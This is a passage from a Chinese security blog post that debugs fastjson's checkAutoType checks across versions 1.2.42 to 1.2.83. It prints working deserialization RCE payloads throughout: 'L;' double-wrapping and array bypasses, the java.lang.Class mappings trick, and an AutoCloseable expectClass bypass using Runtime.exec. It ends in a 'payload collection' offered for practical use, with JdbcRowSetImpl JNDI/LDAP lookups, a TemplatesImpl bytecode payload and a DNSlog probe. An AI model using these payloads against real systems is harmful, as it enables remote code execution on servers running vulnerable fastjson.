要为true</p><hr><h3 id="1-2-42"><a href="#1-2-42" class="headerlink" title="1.2.42"></a>1.2.42</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">payload</span>  <span class="operator">=</span> <span class="string">&quot;&#123;\n&quot;</span> +</span><br><span class="line">        <span class="string">&quot;\&quot;@type\&quot;:\&quot;Lcom.sun.rowset.JdbcRowSetImpl;\&quot;,\n&quot;</span> +</span><br><span class="line">        <span class="string">&quot;\t\&quot;dataSourceName\&quot;:\&quot;ldap://127.0.0.1:4321/demo\&quot;,\n&quot;</span> +</span><br><span class="line">        <span class="string">&quot;\t\&quot;autoCommit\&quot;:\&quot;true\&quot;\n&quot;</span> +</span><br><span class="line">        <span class="string">&quot;&#125;&quot;</span>;</span><br></pre></td></tr></table></figure><p>继续直接打 然后看报错信息是个什么情况</p><p><img src="/2026/04/24/fastjson/image-20260426135418773.png" alt="image-20260426135418773"></p><h4 id="分析一下-2"><a href="#分析一下-2" class="headerlink" title="分析一下"></a>分析一下</h4><p>提示不支持 调试看看</p><p><img src="/2026/04/24/fastjson/image-20260426135450785.png" alt="image-20260426135450785"></p><p>现在ParserConfig里面的黑名单直接玩起hash表了 没法直接看懂黑名单里面有哪些包名</p><p><img src="/2026/04/24/fastjson/image-20260426135707172.png" alt="image-20260426135707172"></p><p>现在checkAutoType方法里面都是各种hash值</p><p>目前来看 确实看不懂和之前有什么区别 </p><p>我们继续调试下去</p><p><img src="/2026/04/24/fastjson/image-20260426140421765.png" alt="image-20260426140421765"></p><p>第一个判断首尾的hash 我们这里的payload过了 猜测实际逻辑和之前没区别</p><p><img src="/2026/04/24/fastjson/image-20260426140646263.png" alt="image-20260426140646263"></p><p>这个h3获取了前3个字符的hash</p><p><img src="/2026/04/24/fastjson/image-20260426140744061.png" alt="image-20260426140744061"></p><p>开始判断白 黑名单 通过判断第四个字符之后的字符 去判断是否和黑名单匹配或者和白名单匹配</p><p><strong>先白后黑</strong></p><p><img src="/2026/04/24/fastjson/image-20260426140924953.png" alt="image-20260426140924953"></p><p>最后也是抛出异常了</p><p>这个版本他<strong>提前判断并删去首尾字符 在去判断白黑名单了</strong></p><p>那么我们试试双写绕过</p><p><img src="/2026/04/24/fastjson/image-20260426141044491.png" alt="image-20260426141044491"></p><p>现在是只有一对<code>L</code>和<code>;</code></p><p>显然是可以绕过黑名单的</p><p><img src="/2026/04/24/fastjson/image-20260426141326394.png" alt="image-20260426141326394"></p><p>依旧进入这个loadclass</p><p><img src="/2026/04/24/fastjson/image-20260426141400756.png" alt="image-20260426141400756"></p><p>这下看懂了</p><p>依旧是原来的工具类里面的loadclass</p><p><img src="/2026/04/24/fastjson/image-20260426141500775.png" alt="image-20260426141500775"></p><p>注意这里的className是最开始的 也就是有2对的形式 但是没关系 实际情况是会迭代调用 也就是会迭代的删去首尾字符</p><p>最后仍然可以加载 所以说一开始的payload至少是要有一对以上的<code>L</code>和<code>;</code>就可以绕过</p><p><img src="/2026/04/24/fastjson/image-20260426141649436.png" alt="image-20260426141649436"></p><p>依旧弹窗了</p><p>数组的话是没有限制的 所以可以直接打</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">payload22</span>  <span class="operator">=</span> <span class="string">&quot;&#123;\n&quot;</span> +</span><br><span class="line">        <span class="string">&quot;\&quot;@type\&quot;:\&quot;[com.sun.rowset.JdbcRowSetImpl\&quot;[&#123;,\n&quot;</span> +</span><br><span class="line">        <span class="string">&quot;\t\&quot;dataSourceName\&quot;:\&quot;ldap://127.0.0.1:4321/demo\&quot;,\n&quot;</span> +</span><br><span class="line">        <span class="string">&quot;\t\&quot;autoCommit\&quot;:\&quot;true\&quot;\n&quot;</span> +</span><br><span class="line">        <span class="string">&quot;&#125;&quot;</span>;</span><br></pre></td></tr></table></figure><p><img src="/2026/04/24/fastjson/image-20260426141754214.png" alt="image-20260426141754214"></p><h4 id="总结一下-2"><a href="#总结一下-2" class="headerlink" title="总结一下"></a>总结一下</h4><p>这个版本开始 判断都用到hash了 但是实际逻辑却没有改变 只是搞了hash当幌子罢了</p><p>双写绕过或者数组绕过</p><h3 id="1-2-43"><a href="#1-2-43" class="headerlink" title="1.2.43"></a>1.2.43</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">payload22</span>  <span class="operator">=</span> <span class="string">&quot;&#123;\n&quot;</span> +</span><br><span class="line">        <span class="string">&quot;\&quot;@type\&quot;:\&quot;LLcom.sun.rowset.JdbcRowSetImpl;;\&quot;,\n&quot;</span> +</span><br><span class="line">        <span class="string">&quot;\t\&quot;dataSourceName\&quot;:\&quot;ldap://127.0.0.1:4321/demo\&quot;,\n&quot;</span> +</span><br><span class="line">        <span class="string">&quot;\t\&quot;autoCommit\&quot;:\&quot;true\&quot;\n&quot;</span> +</span><br><span class="line">        <span class="string">&quot;&#125;&quot;</span>;</span><br></pre></td></tr></table></figure><p>依旧双写</p><p><img src="/2026/04/24/fastjson/image-20260426142141482.png" alt="image-20260426142141482"></p><p>依旧是报错了</p><h4 id="分析一下-3"><a href="#分析一下-3" class="headerlink" title="分析一下"></a>分析一下</h4><p><img src="/2026/04/24/fastjson/image-20260426142228592.png" alt="image-20260426142228592"></p><p>直接看checkAutoType方法</p><p>现在第一个判断是嵌套了2个判断 只要双写就直接报错了</p><p>修改的也是简单粗暴 依然没有对数组的限制可以打数组绕过</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">payload22</span>  <span class="operator">=</span> <span class="string">&quot;&#123;\n&quot;</span> +</span><br><span class="line">        <span class="string">&quot;\&quot;@type\&quot;:\&quot;[com.sun.rowset.JdbcRowSetImpl\&quot;[&#123;,\n&quot;</span> +</span><br><span class="line">        <span class="string">&quot;\t\&quot;dataSourceName\&quot;:\&quot;ldap://127.0.0.1:4321/demo\&quot;,\n&quot;</span> +</span><br><span class="line">        <span class="string">&quot;\t\&quot;autoCommit\&quot;:\&quot;true\&quot;\n&quot;</span> +</span><br><span class="line">        <span class="string">&quot;&#125;&quot;</span>;</span><br></pre></td></tr></table></figure><p><img src="/2026/04/24/fastjson/image-20260426142423829.png" alt="image-20260426142423829"></p><h4 id="总结一下-3"><a href="#总结一下-3" class="headerlink" title="总结一下"></a>总结一下</h4><p>只能打数组绕过了</p><h3 id="1-2-44"><a href="#1-2-44" class="headerlink" title="1.2.44"></a>1.2.44</h3><p><img src="/2026/04/24/fastjson/image-20260426142521786.png" alt="image-20260426142521786"></p><p>这下是数组也没法绕过了</p><p><img src="/2026/04/24/fastjson/image-20260426142608021.png" alt="image-20260426142608021"></p><p>现在只要开头是<code>[</code> 或者首尾是<code>L</code>和<code>;</code>就直接报错</p><p>至此到这个版本开始 <strong>没法再通过在@type名加点小东西去绕过任意类加载了</strong></p><h4 id="分析一下-4"><a href="#分析一下-4" class="headerlink" title="分析一下"></a>分析一下</h4><p>我们可以根据之前的情况想想还能怎么打</p><p>其实解析的工作可以简单概括为:</p><p>接收json数据判断@type类型 -&gt; 判断@type中的类是否可以被加载 -&gt; 如果可以的话会放入一个mappings中 (可以被加载的类的hash表) -&gt; 之后就是获取这个类的反序列化者 然后反序列化</p><p>在判断类的时候有黑白名单 如果可以<strong>直接绕过黑名单就可以直接打</strong></p><p>也就是找后续版本不在黑名单里面的类去打 </p><p>另一种思路是可以尝试<strong>直接在mappings里面放我们想要加载的类</strong></p><p>当然这些的前提都是建立在AutoTypeSupport为true的前提下 </p><p>其实AutoTypeSupport的情况更为重要 </p><p>因为默认情况AutoTypeSupport为false 所以没有在AutoTypeSupport为false的情况下的打法的话 没有实际意义</p><hr><p>这个版本先跳过</p><hr><h3 id=""><a href="#" class="headerlink" title="&lt;&#x3D;1.2.47"></a>&lt;&#x3D;1.2.47</h3><p>这个版本直接报了个很严重的cve cve2017-18349</p><p>无需AutoTypeSupport为true就可以打</p><p>我们拿大佬的payload去调试看看 具体是个什么情况打出来的</p><p>看之前先看一下这个payload</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;<span class="string">&quot;@type&quot;</span>:<span class="string">&quot;java.net.Inet4Address&quot;</span>,<span class="string">&quot;val&quot;</span>:<span class="string">&quot;dnslog.com&quot;</span>&#125;</span><br></pre></td></tr></table></figure><p>这个类是在可以被默认的反序列化者的findclass找到 也就是说默认就支持</p><p>但是它的第二个键值对是val</p><p>实际上Inet4Address就没有val这个属性对应的方法</p><p>那么为什么可以打呢</p><p>我们也来调试一下</p><p><img src="/2026/04/24/fastjson/image-20260426150913025.png" alt="image-20260426150913025"></p><p>依旧来到checkAutoType方法</p><p><img src="/2026/04/24/fastjson/image-20260426150943605.png" alt="image-20260426150943605"></p><p>上面肯定是可以过的</p><p><img src="/2026/04/24/fastjson/image-20260426151128404.png" alt="image-20260426151128404"></p><p>来到这个方法这</p><p><img src="/2026/04/24/fastjson/image-20260426151418674.png" alt="image-20260426151418674"></p><p>指定的类可以被找到 虽然不是在mappings中</p><p><img src="/2026/04/24/fastjson/image-20260426151812104.png" alt="image-20260426151812104"></p><p>后续获取deserializer 类名叫MiscCodec是fastjson提供的</p><p>进入deserialize方法</p><p><img src="/2026/04/24/fastjson/image-20260426152011864.png" alt="image-20260426152011864"></p><p>这里要求我们的json数据里面 得有一个键为val 并且得是先@type 再是val</p><p>后续就简单了</p><p><img src="/2026/04/24/fastjson/image-20260426152131102.png" alt="image-20260426152131102"></p><p>获取val的值 放到objVal中 后面又放到strVal中</p><p><img src="/2026/04/24/fastjson/image-20260426152240297.png" alt="image-20260426152240297"></p><p>上面检测一堆类名 最后直接是调用了getByName这个方法 会解析域名 </p><p><img src="/2026/04/24/fastjson/image-20260426152401427.png" alt="image-20260426152401427"></p><p>成功解析</p><p>也就是说 如果是可以允许的类 还必须要有val这个键</p><hr><h4 id="分析一下-5"><a href="#分析一下-5" class="headerlink" title="分析一下"></a>分析一下</h4><p>接下来分析大佬的payload</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">payload3</span>  <span class="operator">=</span> <span class="string">&quot;&#123;\&quot;a\&quot;:&#123;\&quot;@type\&quot;:\&quot;java.lang.Class\&quot;,\&quot;val\&quot;:\&quot;com.sun.rowset.JdbcRowSetImpl\&quot;&#125;,&quot;</span></span><br><span class="line">        + <span class="string">&quot;\&quot;b\&quot;:&#123;\&quot;@type\&quot;:\&quot;com.sun.rowset.JdbcRowSetImpl\&quot;,&quot;</span></span><br><span class="line">        + <span class="string">&quot;\&quot;dataSourceName\&quot;:\&quot;ldap://127.0.0.1:4321/Exploit\&quot;,\&quot;autoCommit\&quot;:true&#125;&#125;&quot;</span>;</span><br></pre></td></tr></table></figure><p>这里是map里面又有map 嵌套的形式外层的map里面有2个内层map 因此会解析2次</p><p><img src="/2026/04/24/fastjson/image-20260426153939894.png" alt="image-20260426153939894"></p><p>继续调试</p><p><img src="/2026/04/24/fastjson/image-20260426154506228.png" alt="image-20260426154506228"></p><p>这里的上面会判断是不是嵌套的形式 发现是会解析内层的map 于是开始解析内存map</p><p>也就是</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span><span class="attr">&quot;a&quot;</span><span class="punctuation">:</span><span class="punctuation">&#123;</span><span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span><span class="string">&quot;java.lang.Class&quot;</span><span class="punctuation">,</span><span class="attr">&quot;val&quot;</span><span class="punctuation">:</span><span class="string">&quot;com.sun.rowset.JdbcRowSetImpl&quot;</span><span class="punctuation">&#125;</span><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>从现在开始就是递归调用parseObject去解析数据了</p><p><img src="/2026/04/24/fastjson/image-20260426154957854.png" alt="image-20260426154957854"></p><p>依旧是来到这个地方 可以看到typename是java.lang.Class 显然是一个可以被允许的类</p><p>直接进入checkAutoType</p><p><img src="/2026/04/24/fastjson/image-20260426155145628.png" alt="image-20260426155145628"></p><p><img src="/2026/04/24/fastjson/image-20260426155206619.png" alt="image-20260426155206619"></p><p>返回java.lang.Class的class对象</p><p><img src="/2026/04/24/fastjson/image-20260426155313097.png" alt="image-20260426155313097"></p><p>来到这里 根据之前的分析 应该也会让val的值做些什么</p><p><img src="/2026/04/24/fastjson/image-20260426155411396.png" alt="image-20260426155411396"></p><p>成功来到loadClass 直接会加载val里面的值 </p><p><img src="/2026/04/24/fastjson/image-20260426155509404.png" alt="image-20260426155509404"></p><p>val里面是我们指定的类 在cache为true时可以直接将指定的类放到mappings里面 后续解析的时候就可以成功被加载</p><p><img src="/2026/04/24/fastjson/image-20260426155826528.png" alt="image-20260426155826528"></p><p>后续轮到b中数据做解析 后续就成功加载指定类了</p><p><img src="/2026/04/24/fastjson/image-20260426155919175.png" alt="image-20260426155919175"></p><p>成功解析</p><h4 id="总结一下-4"><a href="#总结一下-4" class="headerlink" title="总结一下"></a>总结一下</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">payload3</span>  <span class="operator">=</span> <span class="string">&quot;&#123;\&quot;a\&quot;:&#123;\&quot;@type\&quot;:\&quot;java.lang.Class\&quot;,\&quot;val\&quot;:\&quot;com.sun.rowset.JdbcRowSetImpl\&quot;&#125;,&quot;</span></span><br><span class="line">        + <span class="string">&quot;\&quot;b\&quot;:&#123;\&quot;@type\&quot;:\&quot;com.sun.rowset.JdbcRowSetImpl\&quot;,&quot;</span></span><br><span class="line">        + <span class="string">&quot;\&quot;dataSourceName\&quot;:\&quot;ldap://127.0.0.1:4321/Exploit\&quot;,\&quot;autoCommit\&quot;:true&#125;&#125;&quot;</span>;</span><br></pre></td></tr></table></figure><p>这次的绕过方式是<strong>通过 <code>java.lang.Class</code> 反序列化器在反序列化的时候 会自动的在mappings中添加我们的指定类</strong>的方法去加载类</p><p>并且是不需要AutoTypeSupport的</p><p>第一次解析将类注入mappings中 </p><p>第二次解析正式触发漏洞</p><hr><h3 id="verison"><a href="#verison" class="headerlink" title="verison &lt;&#x3D; 1.2.47 payload总结"></a>verison &lt;&#x3D; 1.2.47 payload总结</h3><p>由于这个版本可以无限制加载类 所有值得总结一下</p><p>打JdbcRowSetImpl  实质是打jndi 得看jdk版本在打</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;a&quot;</span><span class="punctuation">:</span><span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span><span class="string">&quot;java.lang.Class&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;val&quot;</span><span class="punctuation">:</span><span class="string">&quot;com.sun.rowset.JdbcRowSetImpl&quot;</span></span><br><span class="line">    <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;b&quot;</span><span class="punctuation">:</span><span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span><span class="string">&quot;com.sun.rowset.JdbcRowSetImpl&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;dataSourceName&quot;</span><span class="punctuation">:</span><span class="string">&quot;ldap://127.0.0.1:4321/Exploit&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;autoCommit&quot;</span><span class="punctuation">:</span><span class="literal"><span class="keyword">true</span></span></span><br><span class="line">    <span class="punctuation">&#125;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><hr><h3 id="1-2-48"><a href="#1-2-48" class="headerlink" title="1.2.48"></a>1.2.48</h3><h4 id="分析"><a href="#分析" class="headerlink" title="分析"></a>分析</h4><p>继续如法炮制</p><p>依旧报错</p><p><img src="/2026/04/24/fastjson/image-20260426160453424.png" alt="image-20260426160453424"></p><p><img src="/2026/04/24/fastjson/image-20260426161049628.png" alt="image-20260426161049628"></p><p>在第一次将类加入mappings中 cache默认的设置为了false</p><hr><p>现在好了又给他修了</p><p>要么在饶黑名单 要么就是找一个其他的类 进行二次解析</p><hr><p>也先跳过这个版本</p><h3 id="-1"><a href="#-1" class="headerlink" title="&lt;&#x3D; 1.2.68"></a>&lt;&#x3D; 1.2.68</h3><h4 id="分析一下-6"><a href="#分析一下-6" class="headerlink" title="分析一下"></a>分析一下</h4><p>在这个版本的时候 又有大佬找到了其他思路</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">payloaddd</span> <span class="operator">=</span> <span class="string">&quot;&#123;\&quot;@type\&quot;:\&quot;java.lang.AutoCloseable\&quot;,\&quot;@type\&quot;:\&quot;org.example.VulAutoCloseable\&quot;,\&quot;cmd\&quot;:\&quot;calc\&quot;&#125;&quot;</span>;</span><br><span class="line"></span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">VulAutoCloseable</span> <span class="keyword">implements</span> <span class="title class_">AutoCloseable</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">VulAutoCloseable</span><span class="params">(String cmd)</span> &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            Runtime.getRuntime().exec(cmd);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            e.printStackTrace();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">close</span><span class="params">()</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>就不用java.lang.Class 使用其他类org.example.VulAutoCloseable </p><p>这里的绕过方式和之前的也有点不一样了 使用了exceptclass这个参数</p><p>依旧调试 </p><p><img src="/2026/04/24/fastjson/image-20260426200913120.png" alt="image-20260426200913120"></p><p>跟进checkAutoType方法</p><p>这里的expectClass为null</p><p><img src="/2026/04/24/fastjson/image-20260426201113367.png" alt="image-20260426201113367"></p><p>上面会根据expectClass来判断expectClassFlag应该是什么 这里是false</p><p><img src="/2026/04/24/fastjson/image-20260426201050860.png" alt="image-20260426201050860"></p><p>这里获取到这个AutoCloseable接口的class对象</p><p><img src="/2026/04/24/fastjson/image-20260426201246988.png" alt="image-20260426201246988"></p><p>最终返回</p><p><img src="/2026/04/24/fastjson/image-20260426201348532.png" alt="image-20260426201348532"></p><p>获取clazz的deserializer</p><p><img src="/2026/04/24/fastjson/image-20260426201436770.png" alt="image-20260426201436770"></p><p>返回JavaBeanDeserializer</p><p><img src="/2026/04/24/fastjson/image-20260426201550585.png" alt="image-20260426201550585"></p><p>现在开始反序列化</p><p><img src="/2026/04/24/fastjson/image-20260426201700823.png" alt="image-20260426201700823"></p><p>没有匹配到数据的时候 会判断当前的key</p><p><img src="/2026/04/24/fastjson/image-20260426201756161.png" alt="image-20260426201756161"></p><p>上面会判断当前键值也就是org.example.VulAutoCloseable 是否能找到他的deserializer 显然是找不到的</p><p>如果当前的key是@type 又会进入checkAutoType方法 这次带上了expectClass和键值</p><p>跟进checkAutoType</p><p><img src="/2026/04/24/fastjson/image-20260426202232895.png" alt="image-20260426202232895"></p><p>expectClass为AutoCloseable的class对象 因此会判定为true</p><p><img src="/2026/04/24/fastjson/image-20260426202318778.png" alt="image-20260426202318778"></p><p>会进入一次白黑名单检测 这里也没啥用</p><p><img src="/2026/04/24/fastjson/image-20260426202420016.png" alt="image-20260426202420016"></p><p>尝试获取 class对象 显然是没有的</p><p><img src="/2026/04/24/fastjson/image-20260426202445057.png" alt="image-20260426202445057"></p><p>又检查了一次</p><p><img src="/2026/04/24/fastjson/image-20260426202555971.png" alt="image-20260426202555971"></p><p>重点来自这里</p><p>这里除了expectClassFlag其他都是false 因此可以进入判断 </p><p>我们的目标类也被成功loadclass</p><p><img src="/2026/04/24/fastjson/image-20260426202835582.png" alt="image-20260426202835582"></p><p>这里被当前的ClassLoader加载了 成功返回class对象</p><p>由于cache为false没有将这个类加入mappings中</p><p><img src="/2026/04/24/fastjson/image-20260426203023100.png" alt="image-20260426203023100"></p><p>payload最巧妙的地方就在于这里 当expectClass的类是clazz的父类的时候 clazz就可以被添加到mappings中</p><p><img src="/2026/04/24/fastjson/image-20260426203227795.png" alt="image-20260426203227795"></p><p>至此clazz的deserializer也被成功找到 后续反序列化就成功执行代码</p><p> <img src="/2026/04/24/fastjson/image-20260426203323932.png" alt="image-20260426203323932"></p><h4 id="总结一下-5"><a href="#总结一下-5" class="headerlink" title="总结一下"></a>总结一下</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">payloaddd</span> <span class="operator">=</span> <span class="string">&quot;&#123;\&quot;@type\&quot;:\&quot;java.lang.AutoCloseable\&quot;,\&quot;@type\&quot;:\&quot;org.example.VulAutoCloseable\&quot;,\&quot;cmd\&quot;:\&quot;calc\&quot;&#125;&quot;</span>;</span><br></pre></td></tr></table></figure><p>我们可以试一下 换一个其他父类会怎么样 为什么一定要是<code>java.lang.AutoCloseable</code>呢</p><p>其实理论来说 这里可以是其他符合条件的类</p><p>不在黑名单中并且不是这些类的类</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">else if (expectClass != Object.class &amp;&amp; expectClass != Serializable.class &amp;&amp; expectClass != Cloneable.class &amp;&amp; expectClass != Closeable.class &amp;&amp; expectClass != EventListener.class &amp;&amp; expectClass != Iterable.class &amp;&amp; expectClass != Collection.class) &#123;</span><br></pre></td></tr></table></figure><p>这里的绕过方式是通过expectClass绕过AutoType方法</p><h3 id="1-2-68"><a href="#1-2-68" class="headerlink" title="&#x3D;&gt; 1.2.68"></a>&#x3D;&gt; 1.2.68</h3><p>在调试的时候可以明显看到一个东西</p><p><img src="/2026/04/24/fastjson/image-20260426205149577.png" alt="image-20260426205149577"></p><p>自从1.2.68开始 添加了一个safemode 直接把@type功能给砍掉了</p><p>至此 只要safemode添加为true @type就无法生效</p><p>也就没法再加载任意类了</p><p>后续的版本都是在safemode没有为true的前提下打的</p><p>但是<strong>默认情况下safemode就是为false</strong> 提供给开发者一个口子 看开发是否配置了</p><hr><h3 id="1-2-69"><a href="#1-2-69" class="headerlink" title="1.2.69"></a>1.2.69</h3><p>之后的版本</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">payloaddd</span> <span class="operator">=</span> <span class="string">&quot;&#123;\&quot;@type\&quot;:\&quot;java.lang.AutoCloseable\&quot;,\&quot;@type\&quot;:\&quot;org.example.VulAutoCloseable\&quot;,\&quot;cmd\&quot;:\&quot;calc\&quot;&#125;&quot;</span>;</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (expectHash != -<span class="number">8024746738719829346L</span> &amp;&amp; expectHash != <span class="number">3247277300971823414L</span> &amp;&amp; expectHash != -<span class="number">5811778396720452501L</span> &amp;&amp; expectHash != -<span class="number">1368967840069965882L</span> &amp;&amp; expectHash != <span class="number">2980334044947851925L</span> &amp;&amp; expectHash != <span class="number">5183404141909004468L</span> &amp;&amp; expectHash != <span class="number">7222019943667248779L</span> &amp;&amp; expectHash != -<span class="number">2027296626235911549L</span> &amp;&amp; expectHash != -<span class="number">2114196234051346931L</span> &amp;&amp; expectHash != -<span class="number">2939497380989775398L</span>) &#123;</span><br><span class="line">    expectClassFlag = <span class="literal">true</span>;</span><br></pre></td></tr></table></figure><p>这个又打不了了 因为在判断expectClass时 不让是java.lang.AutoCloseable了 但是这里也类似于黑名单</p><hr><h3 id="1-2-83"><a href="#1-2-83" class="headerlink" title="1.2.83"></a>1.2.83</h3><p>1.2.83是fastjson1最后的版本</p><p>从1.2.68开始 只需要你safemode设为true 就不会再有fastjson反序列化rce的攻击了</p><h3 id="fastjson2"><a href="#fastjson2" class="headerlink" title="fastjson2"></a>fastjson2</h3><p>从第二代开始 至少现在没有爆出可以rce的cve 最多只有dos的cve</p><p>因为他就不支持@type加载类了</p><hr><p>总的来看 fastjson漏洞的万恶之源就是 <strong>@type可以指定要加载的类</strong> 开始的</p><h2 id="其他-1"><a href="#其他-1" class="headerlink" title="其他"></a>其他</h2><p>从通过黑白名单绕过限制之后</p><p>AutoType实际上好像没有什么用 看起来好像不是true也没什么问题</p><p>从绕过手法上来看确实是这样</p><p>但是如果还想从其他类里面找一些不是黑名单的类 依旧得通过 AutoType为true的方式去加载类</p><p><img src="/2026/04/24/fastjson/image-20260426205523486.png" alt="image-20260426205523486"></p><hr><p><strong>绕过思路基本就是绕黑名单了 要么直接硬刚denylist里面的黑名单 但是这个绕过方法前提还得AutoTypeSupport为true</strong></p><p><strong>要么就是 找expectClass 绕过那个expectHash检测</strong></p><h2 id="payload大全"><a href="#payload大全" class="headerlink" title="payload大全"></a>payload大全</h2><p>这里收录了一些具有实战意义的payload</p><p><strong>万能payload 出网就能用</strong></p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;java.net.InetAddress&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;val&quot;</span><span class="punctuation">:</span> <span class="string">&quot;http://dnslog.com&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>JdbcRowSetImpl</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;com.sun.rowset.JdbcRowSetImpl&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;dataSourceName&quot;</span><span class="punctuation">:</span> <span class="string">&quot;ldap://127.0.0.1:23457/Command8&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;autoCommit&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>TemplatesImpl</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;_bytecodes&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span><span class="string">&quot;yv66vgA...k=&quot;</span><span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line">    &#x27;_name&#x27;<span class="punctuation">:</span> &#x27;su18&#x27;<span class="punctuation">,</span></span><br><span class="line">    &#x27;_tfactory&#x27;<span class="punctuation">:</span> <span class="punctuation">&#123;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;_outputProperties&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line"><span 